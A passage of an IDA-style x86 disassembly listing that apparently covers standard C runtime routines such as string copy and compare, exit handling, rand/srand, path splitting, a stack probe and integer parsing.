; ---------------------------------------------------------------------------
loc_417749: ; CODE XREF: sub_417620+EBj
; sub_417620+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
mov [edx+18h], eax
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_4]
jnz short loc_41775E
xor eax, eax
jmp short loc_417761
; ---------------------------------------------------------------------------
loc_41775E: ; CODE XREF: sub_417620+138j
mov eax, [ebp+arg_0]
loc_417761: ; CODE XREF: sub_417620+13Cj
mov esp, ebp
pop ebp
retn
sub_417620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: ___:004024F4p
; ___:00402C2Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_4177F3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_417794
shr ecx, 2
jnz short loc_417801
jmp short loc_4177B5
; ---------------------------------------------------------------------------
loc_417794: ; CODE XREF: sub_417770+1Bj
; sub_417770+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_4177C2
test al, al
jz short loc_4177CA
test esi, 3
jnz short loc_417794
mov ebx, ecx
shr ecx, 2
jnz short loc_417801
loc_4177B0: ; CODE XREF: sub_417770+8Fj
and ebx, 3
jz short loc_4177C2
loc_4177B5: ; CODE XREF: sub_417770+22j
; sub_417770+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_4177EE
dec ebx
jnz short loc_4177B5
loc_4177C2: ; CODE XREF: sub_417770+2Bj
; sub_417770+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4177CA: ; CODE XREF: sub_417770+2Fj
test edi, 3
jz short loc_4177E4
loc_4177D2: ; CODE XREF: sub_417770+72j
mov [edi], al
inc edi
dec ecx
jz loc_417866
test edi, 3
jnz short loc_4177D2
loc_4177E4: ; CODE XREF: sub_417770+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_417857
loc_4177EB: ; CODE XREF: sub_417770+7Fj
; sub_417770+F4j
mov [edi], al
inc edi
loc_4177EE: ; CODE XREF: sub_417770+4Dj
dec ebx
jnz short loc_4177EB
pop ebx
pop esi
loc_4177F3: ; CODE XREF: sub_417770+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4177F9: ; CODE XREF: sub_417770+A9j
; sub_417770+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_4177B0
loc_417801: ; CODE XREF: sub_417770+20j
; sub_417770+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_4177F9
test dl, dl
jz short loc_41784B
test dh, dh
jz short loc_417841
test edx, 0FF0000h
jz short loc_417837
test edx, 0FF000000h
jnz short loc_4177F9
mov [edi], edx
jmp short loc_41784F
; ---------------------------------------------------------------------------
loc_417837: ; CODE XREF: sub_417770+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41784F
; ---------------------------------------------------------------------------
loc_417841: ; CODE XREF: sub_417770+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41784F
; ---------------------------------------------------------------------------
loc_41784B: ; CODE XREF: sub_417770+ADj
xor edx, edx
mov [edi], edx
loc_41784F: ; CODE XREF: sub_417770+C5j
; sub_417770+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_417861
loc_417857: ; CODE XREF: sub_417770+79j
xor eax, eax
loc_417859: ; CODE XREF: sub_417770+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_417859
loc_417861: ; CODE XREF: sub_417770+E5j
and ebx, 3
jnz short loc_4177EB
loc_417866: ; CODE XREF: sub_417770+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_417770 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417870 proc near ; CODE XREF: ___:004024E0p
; sub_403038+1A5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_4178BC
loc_417880: ; CODE XREF: sub_417870+3Cj
; sub_417870+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_4178B4
or al, al
jz short loc_4178B0
cmp ah, [ecx+1]
jnz short loc_4178B4
or ah, ah
jz short loc_4178B0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_4178B4
or al, al
jz short loc_4178B0
cmp ah, [ecx+3]
jnz short loc_4178B4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_417880
mov edi, edi
loc_4178B0: ; CODE XREF: sub_417870+18j
; sub_417870+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_4178B4: ; CODE XREF: sub_417870+14j
; sub_417870+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_4178BC: ; CODE XREF: sub_417870+Ej
test edx, 1
jz short loc_4178D8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_4178B4
inc ecx
or al, al
jz short loc_4178B0
test edx, 2
jz short loc_417880
loc_4178D8: ; CODE XREF: sub_417870+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_4178B4
or al, al
jz short loc_4178B0
cmp ah, [ecx+1]
jnz short loc_4178B4
or ah, ah
jz short loc_4178B0
add ecx, 2
jmp short loc_417880
sub_417870 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp off_443B4C, 0
jz short loc_417912
call off_443B4C
loc_417912: ; CODE XREF: ___:0041790Aj
push offset dword_436028
push offset dword_436014
call sub_417AD0
add esp, 8
push offset dword_436010
push offset dword_436000
call sub_417AD0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+8]
push eax
call sub_4179C0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417960 proc near ; CODE XREF: sub_41A9A0+22p
; sub_41AEA0+2F1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1
mov eax, [ebp+arg_0]
push eax
call sub_4179C0
add esp, 0Ch
pop ebp
retn
sub_417960 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
push 0
call sub_4179C0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 1
push 0
call sub_4179C0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179C0 proc near ; CODE XREF: ___:0041794Bp
; sub_417960+Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
call sub_417AB0
cmp dword_4DB0EC, 1
jnz short loc_4179E3
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2730F02h
push eax
nop
call near ptr 27308F4h
loc_4179E3: ; CODE XREF: sub_4179C0+10j
mov dword_4DB0E8, 1
mov cl, byte ptr [ebp+arg_8]
mov byte_4DB0E4, cl
cmp [ebp+arg_4], 0
jnz short loc_417A43
cmp dword_4DC7D0, 0
jz short loc_417A31
mov edx, dword_4DC7CC
mov [ebp+var_4], edx
loc_417A0E: ; CODE XREF: sub_4179C0:loc_417A2Fj
mov eax, [ebp+var_4]
sub eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, dword_4DC7D0
jb short loc_417A31
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_417A2F
mov eax, [ebp+var_4]
call dword ptr [eax]
loc_417A2F: ; CODE XREF: sub_4179C0+68j
jmp short loc_417A0E
; ---------------------------------------------------------------------------
loc_417A31: ; CODE XREF: sub_4179C0+43j
; sub_4179C0+60j
push offset dword_436034
push offset dword_43602C
call sub_417AD0
add esp, 8
loc_417A43: ; CODE XREF: sub_4179C0+3Aj
push offset dword_436040
push offset dword_436038
call sub_417AD0
add esp, 8
cmp dword_4DB0F0, 0
jnz short loc_417A7E
push 0FFFFFFFFh
call sub_4162E0
add esp, 4
and eax, 20h
test eax, eax
jz short loc_417A7E
mov dword_4DB0F0, 1
call sub_416BF0
loc_417A7E: ; CODE XREF: sub_4179C0+9Cj
; sub_4179C0+ADj
cmp [ebp+arg_8], 0
jz short loc_417A8B
call sub_417AC0
jmp short loc_417A9F
; ---------------------------------------------------------------------------
loc_417A8B: ; CODE XREF: sub_4179C0+C2j
mov dword_4DB0EC, 1
mov ecx, [ebp+arg_0]
push ecx
nop
call near ptr 77E75CB5h
loc_417A9F: ; CODE XREF: sub_4179C0+C9j
mov esp, ebp
pop ebp
retn
sub_4179C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AB0 proc near ; CODE XREF: sub_4179C0+4p
; sub_419BD0+4p
push ebp
mov ebp, esp
push 0Dh
call sub_41B780
add esp, 4
pop ebp
retn
sub_417AB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AC0 proc near ; CODE XREF: sub_4179C0+C4p
; sub_419BD0+61p ...
push ebp
mov ebp, esp
push 0Dh
call sub_41B820
add esp, 4
pop ebp
retn
sub_417AC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AD0 proc near ; CODE XREF: ___:0041791Cp
; ___:0041792Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
loc_417AD3: ; CODE XREF: sub_417AD0+21j
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_417AF3
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jz short loc_417AE8
mov edx, [ebp+arg_0]
call dword ptr [edx]
loc_417AE8: ; CODE XREF: sub_417AD0+11j
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
jmp short loc_417AD3
; ---------------------------------------------------------------------------
loc_417AF3: ; CODE XREF: sub_417AD0+9j
pop ebp
retn
sub_417AD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B00 proc near ; CODE XREF: ___:004027D7p
; sub_403038+43E2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_41F970
mov ecx, [ebp+arg_0]
mov [eax+14h], ecx
pop ebp
retn
sub_417B00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B10 proc near ; CODE XREF: ___:loc_4028E7p
; ___:loc_402C12p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_41F970
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov edx, [ebp+var_4]
mov [edx+14h], ecx
mov eax, [ebp+var_4]
mov eax, [eax+14h]
shr eax, 10h
and eax, 7FFFh
mov esp, ebp
pop ebp
retn
sub_417B10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417B50 proc near ; CODE XREF: ___:004028BCp
; sub_403038+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_417BCA
mov dh, [ecx+1]
test dh, dh
jz short loc_417BB7
loc_417B68: ; CODE XREF: sub_417B50+52j
; sub_417B50+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_417B8A
test al, al
jz short loc_417B84
loc_417B79: ; CODE XREF: sub_417B50+32j
mov al, [esi]
inc esi
loc_417B7C: ; CODE XREF: sub_417B50+3Fj
cmp al, dl
jz short loc_417B8A
test al, al
jnz short loc_417B79
loc_417B84: ; CODE XREF: sub_417B50+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417B8A: ; CODE XREF: sub_417B50+23j
; sub_417B50+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_417B7C
lea edi, [esi-1]
loc_417B94: ; CODE XREF: sub_417B50+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_417BC3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_417B68
mov al, [ecx+3]
test al, al
jz short loc_417BC3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_417B94
jmp short loc_417B68
; ---------------------------------------------------------------------------
loc_417BB7: ; CODE XREF: sub_417B50+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_4185C6
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B50+49j
; sub_417B50+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_417BCA: ; CODE XREF: sub_417B50+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_417B50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BD0 proc near ; CODE XREF: ___:00402889p
; sub_403038+3642p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
push eax
call sub_414BE0
add esp, 4
cmp eax, 1
jb short loc_417C2B
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+1]
cmp edx, 3Ah
jnz short loc_417C2B
cmp [ebp+arg_4], 0
jz short loc_417C20
push 2
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_420350
add esp, 0Ch
mov edx, [ebp+arg_4]
mov byte ptr [edx+2], 0
loc_417C20: ; CODE XREF: sub_417BD0+35j
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
jmp short loc_417C37
; ---------------------------------------------------------------------------
loc_417C2B: ; CODE XREF: sub_417BD0+23j
; sub_417BD0+2Fj
cmp [ebp+arg_4], 0
jz short loc_417C37
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 0
loc_417C37: ; CODE XREF: sub_417BD0+59j
; sub_417BD0+5Fj
mov [ebp+var_C], 0
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
jmp short loc_417C4F
; ---------------------------------------------------------------------------
loc_417C46: ; CODE XREF: sub_417BD0:loc_417CACj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_417C4F: ; CODE XREF: sub_417BD0+74j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_417CAE
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
xor edx, edx
mov dl, byte_4DB681[ecx]
and edx, 4
test edx, edx
jz short loc_417C7A
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_417CAC
; ---------------------------------------------------------------------------
loc_417C7A: ; CODE XREF: sub_417BD0+9Dj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_417C90
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 5Ch
jnz short loc_417C9B
loc_417C90: ; CODE XREF: sub_417BD0+B3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_417CAC
; ---------------------------------------------------------------------------
loc_417C9B: ; CODE XREF: sub_417BD0+BEj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_417CAC
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_417CAC: ; CODE XREF: sub_417BD0+A8j
; sub_417BD0+C9j ...
jmp short loc_417C46
; ---------------------------------------------------------------------------
loc_417CAE: ; CODE XREF: sub_417BD0+87j
cmp [ebp+var_C], 0
jz short loc_417D04
cmp [ebp+arg_8], 0
jz short loc_417CFC
mov eax, [ebp+var_C]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_417CD2
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
jmp short loc_417CD9
; ---------------------------------------------------------------------------
loc_417CD2: ; CODE XREF: sub_417BD0+F5j
mov [ebp+var_14], 0FFh
loc_417CD9: ; CODE XREF: sub_417BD0+100j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_420350
add esp, 0Ch
mov eax, [ebp+arg_8]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_417CFC: ; CODE XREF: sub_417BD0+E8j
mov ecx, [ebp+var_C]
mov [ebp+arg_0], ecx
jmp short loc_417D10
; ---------------------------------------------------------------------------
loc_417D04: ; CODE XREF: sub_417BD0+E2j
cmp [ebp+arg_8], 0
jz short loc_417D10
mov edx, [ebp+arg_8]
mov byte ptr [edx], 0
loc_417D10: ; CODE XREF: sub_417BD0+132j
; sub_417BD0+138j
cmp [ebp+var_8], 0
jz loc_417DBA
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_0]
jb loc_417DBA
cmp [ebp+arg_C], 0
jz short loc_417D6F
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_0]
cmp ecx, 0FFh
jnb short loc_417D45
mov edx, [ebp+var_8]
sub edx, [ebp+arg_0]
mov [ebp+var_18], edx
jmp short loc_417D4C
; ---------------------------------------------------------------------------
loc_417D45: ; CODE XREF: sub_417BD0+168j
mov [ebp+var_18], 0FFh
loc_417D4C: ; CODE XREF: sub_417BD0+173j
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
push eax
call sub_420350
add esp, 0Ch
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_10]
mov byte ptr [ecx], 0
loc_417D6F: ; CODE XREF: sub_417BD0+15Aj
cmp [ebp+arg_10], 0
jz short loc_417DB8
mov edx, [ebp+var_4]
sub edx, [ebp+var_8]
cmp edx, 0FFh
jnb short loc_417D8E
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
jmp short loc_417D95
; ---------------------------------------------------------------------------
loc_417D8E: ; CODE XREF: sub_417BD0+1B1j
mov [ebp+var_1C], 0FFh
loc_417D95: ; CODE XREF: sub_417BD0+1BCj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_420350
add esp, 0Ch
mov edx, [ebp+arg_10]
add edx, [ebp+var_10]
mov byte ptr [edx], 0
loc_417DB8: ; CODE XREF: sub_417BD0+1A3j
jmp short loc_417E0E
; ---------------------------------------------------------------------------
loc_417DBA: ; CODE XREF: sub_417BD0+144j
; sub_417BD0+150j
cmp [ebp+arg_C], 0
jz short loc_417E02
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_417DD8
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
jmp short loc_417DDF
; ---------------------------------------------------------------------------
loc_417DD8: ; CODE XREF: sub_417BD0+1FBj
mov [ebp+var_20], 0FFh
loc_417DDF: ; CODE XREF: sub_417BD0+206j
mov edx, [ebp+var_20]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_420350
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_417E02: ; CODE XREF: sub_417BD0+1EEj
cmp [ebp+arg_10], 0
jz short loc_417E0E
mov ecx, [ebp+arg_10]
mov byte ptr [ecx], 0
loc_417E0E: ; CODE XREF: sub_417BD0:loc_417DB8j
; sub_417BD0+236j
mov esp, ebp
pop ebp
retn
sub_417BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417E20 proc near ; CODE XREF: sub_402EC0+8p
; sub_403038+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_417E40
loc_417E2C: ; CODE XREF: sub_417E20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_417E2C
loc_417E40: ; CODE XREF: sub_417E20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_417E20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_417E70
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E70 proc near ; CODE XREF: ___:00417E61p
; sub_4181B0+11p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_417E94: ; CODE XREF: sub_417E70+77j
cmp dword_443B70, 1
jle short loc_417EB6
push 8
mov ecx, [ebp+var_8]
and ecx, 0FFh
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_18], eax
jmp short loc_417ED0
; ---------------------------------------------------------------------------
loc_417EB6: ; CODE XREF: sub_417E70+2Bj
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8
mov [ebp+var_18], ecx
loc_417ED0: ; CODE XREF: sub_417E70+44j
cmp [ebp+var_18], 0
jz short loc_417EE9
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_417E94
; ---------------------------------------------------------------------------
loc_417EE9: ; CODE XREF: sub_417E70+64j
movsx edx, byte ptr [ebp+var_8]
cmp edx, 2Dh
jnz short loc_417F0D
mov eax, [ebp+arg_C]
or al, 2
mov [ebp+arg_C], eax
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_417F27
; ---------------------------------------------------------------------------
loc_417F0D: ; CODE XREF: sub_417E70+80j
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 2Bh
jnz short loc_417F27
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_417F27: ; CODE XREF: sub_417E70+9Bj
; sub_417E70+A4j
cmp [ebp+arg_8], 0
jl short loc_417F39
cmp [ebp+arg_8], 1
jz short loc_417F39
cmp [ebp+arg_8], 24h
jle short loc_417F4E
loc_417F39: ; CODE XREF: sub_417E70+BBj
; sub_417E70+C1j
cmp [ebp+arg_4], 0
jz short loc_417F47
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [edx], eax
loc_417F47: ; CODE XREF: sub_417E70+CDj
xor eax, eax
jmp loc_41819D
; ---------------------------------------------------------------------------
loc_417F4E: ; CODE XREF: sub_417E70+C7j
cmp [ebp+arg_8], 0
jnz short loc_417F8C
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 30h
jz short loc_417F66
mov [ebp+arg_8], 0Ah
jmp short loc_417F8C
; ---------------------------------------------------------------------------
loc_417F66: ; CODE XREF: sub_417E70+EBj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 78h
jz short loc_417F7C
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 58h
jnz short loc_417F85
loc_417F7C: ; CODE XREF: sub_417E70+FFj
mov [ebp+arg_8], 10h
jmp short loc_417F8C
; ---------------------------------------------------------------------------
loc_417F85: ; CODE XREF: sub_417E70+10Aj
mov [ebp+arg_8], 8
loc_417F8C: ; CODE XREF: sub_417E70+E2j
; sub_417E70+F4j ...
cmp [ebp+arg_8], 10h
jnz short loc_417FCB
movsx eax, byte ptr [ebp+var_8]
cmp eax, 30h
jnz short loc_417FCB
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 78h
jz short loc_417FB1
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 58h
jnz short loc_417FCB
loc_417FB1: ; CODE XREF: sub_417E70+134j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_417FCB: ; CODE XREF: sub_417E70+120j
; sub_417E70+129j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_10], eax
loc_417FD6: ; CODE XREF: sub_417E70+26Bj
cmp dword_443B70, 1
jle short loc_417FF7
push 4
mov eax, [ebp+var_8]
and eax, 0FFh
push eax
call sub_41DA90
add esp, 8
mov [ebp+var_1C], eax
jmp short loc_418012
; ---------------------------------------------------------------------------
loc_417FF7: ; CODE XREF: sub_417E70+16Dj
mov ecx, [ebp+var_8]
and ecx, 0FFh
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_1C], eax
loc_418012: ; CODE XREF: sub_417E70+185j
cmp [ebp+var_1C], 0
jz short loc_418024
movsx ecx, byte ptr [ebp+var_8]
sub ecx, 30h
mov [ebp+var_14], ecx
jmp short loc_418083
; ---------------------------------------------------------------------------
loc_418024: ; CODE XREF: sub_417E70+1A6j
cmp dword_443B70, 1
jle short loc_418049
push 103h
mov edx, [ebp+var_8]
and edx, 0FFh
push edx
call sub_41DA90
add esp, 8
mov [ebp+var_20], eax
jmp short loc_418066
; ---------------------------------------------------------------------------
loc_418049: ; CODE XREF: sub_417E70+1BBj
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 103h
mov [ebp+var_20], edx
loc_418066: ; CODE XREF: sub_417E70+1D7j
cmp [ebp+var_20], 0
jz short loc_418081
movsx eax, byte ptr [ebp+var_8]
push eax
call sub_420550
add esp, 4
sub eax, 37h
mov [ebp+var_14], eax
jmp short loc_418083
; ---------------------------------------------------------------------------
loc_418081: ; CODE XREF: sub_417E70+1FAj
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_418083: ; CODE XREF: sub_417E70+1B2j
; sub_417E70+20Fj
mov ecx, [ebp+var_14]
cmp ecx, [ebp+arg_8]
jb short loc_41808D
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_41808D: ; CODE XREF: sub_417E70+219j
mov edx, [ebp+arg_C]
or edx, 8
mov [ebp+arg_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+var_10]
jb short loc_4180B3
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_10]
jnz short loc_4180C2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp [ebp+var_14], edx
ja short loc_4180C2
loc_4180B3: ; CODE XREF: sub_417E70+22Cj
mov edx, [ebp+var_C]
imul edx, [ebp+arg_8]
add edx, [ebp+var_14]
mov [ebp+var_C], edx
jmp short loc_4180CA
; ---------------------------------------------------------------------------
loc_4180C2: ; CODE XREF: sub_417E70+234j
; sub_417E70+241j
mov eax, [ebp+arg_C]
or al, 4
mov [ebp+arg_C], eax
loc_4180CA: ; CODE XREF: sub_417E70+250j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_417FD6
; ---------------------------------------------------------------------------
loc_4180E0: ; CODE XREF: sub_417E70:loc_418081j
; sub_417E70+21Bj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
and edx, 8
test edx, edx
jnz short loc_418108
cmp [ebp+arg_4], 0
